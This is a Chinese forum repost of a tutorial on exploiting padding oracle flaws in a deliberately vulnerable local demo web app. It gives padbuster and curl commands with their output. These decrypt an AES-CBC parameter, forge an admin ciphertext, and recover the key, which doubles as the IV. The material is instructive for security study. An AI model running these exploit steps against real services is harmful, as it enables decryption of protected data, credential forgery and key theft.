首页
社区
课程
招聘
利用Padding Oracle攻击获取加密密钥
发表于: 2015-11-12 16:54 1365

利用Padding Oracle攻击获取加密密钥

2015-11-12 16:54
1365
0×00 前言

本文中我想分享一些利用padding oracle漏洞的实用技巧,这种类型的漏洞允许攻击者解密密文以及加密明文。有关padding oracle攻击概念以及工作原理的更多信息可以在Brian Holyfield的上一篇博文中找到。

0×01 简单的padding oracle场景

本文中使用的示例应用程序包含其他漏洞,使用该漏洞能够恢复加密密钥。我们将使用padbuster发起padding oracle攻击,并演示如何使用python-paddingoracle库创建一个定制的漏洞利用工具。此外,你可以在GitHub上找到本文示例的包含漏洞的应用程序。

应用程序解密一个名为‘cipher’的请求参数:

curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 
decrypted: ApplicationUsername=user&Password=sesame
因为加密密钥和初始化向量都用来加密和解密这个值,所以我们知道PKCS#5 padding的AES-128和相同的静态密码,并且此处没有HMAC或者其他信息的完整性检查。

关键字PKCS#5和MAC都没有表明应用程序可能容易受到padding oracle攻击。通过翻转第一块中的二进制位,我们就可以确认这里并没有对解密的数据进行语法检查。此外,我们还可以看到,应用程序顺利地处理了第一块中的垃圾数据:

curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6decrypted: �+�]7N�d�����N�me=user&Password=sesame
下一步就是检查应用程序对不正确的padding是如何响应的。我们可以通过翻转最后一块中的位来做到这一点。由下面的代码可以看出,对于padding不正确时,应用程序会返回“decryption error”。

curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff
decryption error
现在知道这个应用程序包含这种漏洞,所以我们可以运行padbuster来利用它。我强烈推荐阅读Brian的padbuster博文,并查看帮助输出,但为了方便,你可以找到padbuster的简介如下:

padbuster URL EncryptedSample BlockSize [options]
在这种情况下运行padbuster很直观:块大小是16(16字节=128比特位),现在我们唯一需要的额外开关是-encoding 1(小写十六进制)。

padbuster "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1
+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 51
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID#    Freq    Status    Length    Location
-------------------------------------------------------
1         1       200        42        N/A
2 **    255       200        16        N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (24/256) [Byte 16]
[+] Success: (165/256) [Byte 15]
[snip]
Block 1 Results:
[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e
[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9
[+] Plain Text: ame=user&Passwor
*** Starting Block 2 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]
请注意,恢复第一块是不可能的。查看下面有关CBC解密的框图能够有助于理解为什么无法恢复。通过利用padding oracle,就有可能在解密第一块之后获得中间值(padbuster中的-noiv选项)。然而,我们不知道计算第一块明文的初始化向量(IV)。

细心的读者可能已经意识到,知道明文允许我们计算初始化向量,而它会用作加密密钥,下图更加详细地解释了这一点。



为了节省时间,我们还可以为无效padding指定错误字符串:

 -error “decryption error”
0×02 一个更加复杂的例子

现在让我们来看一个稍微复杂的场景:对于不正确的padding,应用程序不返回一个特定的错误消息。相反,应用程序解析已解密数据中的一些字段,如果未发现必需字段,则会返回一个错误消息。在这种情况下,所需的字段是“ApplicationUsername”和“Password”。

这里有一个成功请求的例子:“cipher”参数成功解密并包含所有必需的字段。应用程序以解密值和所有解析的字段响应请求。

curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6
decrypted: ApplicationUsername=user&Password=sesame
parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}
如果我们发送一个仅仅包含一个“Password”字段的请求,那么应用程序将返回“ApplicationUsername missing”。

curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89a
decrypted: Password=sesame
curl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89a
ApplicationUsername missing
而在加密值仅仅包含一个“ApplicationUsername”字段时,应用程序将返回“Password missing”。

curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54
decrypted: ApplicationUsername=user
curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54
Password missing
当篡改最后一块时,padding将变成无效。结果,因为应用程序无法解密“cipher”参数,所以会返回 “ApplicationUsername missing”。

curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff
ApplicationUsername missing
不幸的是,使用最小项(minimal options)启动padbuster会失败:当它试图暴力破解第一块时,总是遇到同样的错误消息(ApplicationUsername missing)。

padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1  [snip]
ERROR: All of the responses were identical.
Double check the Block Size and try again.
但是,我们仍然可以利用应用程序检查字段的顺序特点来破解:如果padding无效,它仍旧会返回“ApplicationUsername missing”。我们只需要预先考虑包含“ApplicationUsername”字段的加密数据:如果padding是正确的,那么我们会得到不同的响应。通过这种方式,我们可以解密除第一块之外的所有块。

在下面的例子中,在执行padding oracle攻击时,我们预先考虑了密文的前两个块,这是因为“ApplicationUsername”字段横跨了两个块(见附录)。

padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"
+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 117
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]
0×03 加密

我们也可以加密任意内容(请参阅padbuster博文原文,以了解背后的工作原理)。不过,唯一的限制是不能控制第一块,这是因为此时静态初始化向量正在被占用。如果我们用“=bla&”终止第一块中无法控制的数据,那么应用程序将仍然接受由此产生的密文。注意,我们精心编制的密文不必具有与原始密文相同的长度。

padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"
[snip]
[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
-------------------------------------------------------
curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin
parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}
0×04 获得密钥

能够解密并编造“cipher”参数都非常糟糕了,但为密钥设置初始化向量却引入了另一个漏洞:初始化向量(以及由此产生的加密密钥)是第一块与解密第一块所产生的中间值进行XOR运算得到的明文(见下面的框图)。

我们可以这样假设,攻击者可以根据以下信息猜出明文:规范、从padding oracle攻击中的解密部分或者应用程序展示的消息。


通过使用padbuster 的“-noiv”开关,我们能够得到解密第一块后的中间值:

padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv               
[snip]
Block 1 Results:
[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b
[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728
[snip]
一旦我们得到中间值,那么我们将其与明文进行XOR运算就可以获取加密密钥:

0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)
XOR
0x7141425f5d56574351562f1730213728 (intermediate value)
=
0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)
0×05 定制Python脚本

在padbuster不够灵活的情况下,python-paddingoracle库允许我们创建一个定制的漏洞利用工具。例如,当目标应用程序使用CSRF令牌或在测试web服务时。

在GitHub上可以找到两个利用了我们示例的web应用的Python脚本。第一个脚本“http-simple.py”针对简单的场景。更高级的场景需要前缀密文,这已在“http-advanced.py”中实现了,这个脚本还演示了如何加密明文及计算密钥。

0×06 附录:密文块

块1: 484b850123a04baf15df9be14e87369b ApplicationUsern
块2: c59ca16e1f3645ef53cc6a4d9d87308e ame=user&Passwor
块3: d2382fb0a54f3a2954bfebe0a04dd4d6 d=sesame[padding]
*参考来源:gdssecurity,编译/FB小编JackFree,有适当删减,转载请注明来自FreeBuf黑客与极客(FreeBuf.com)

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//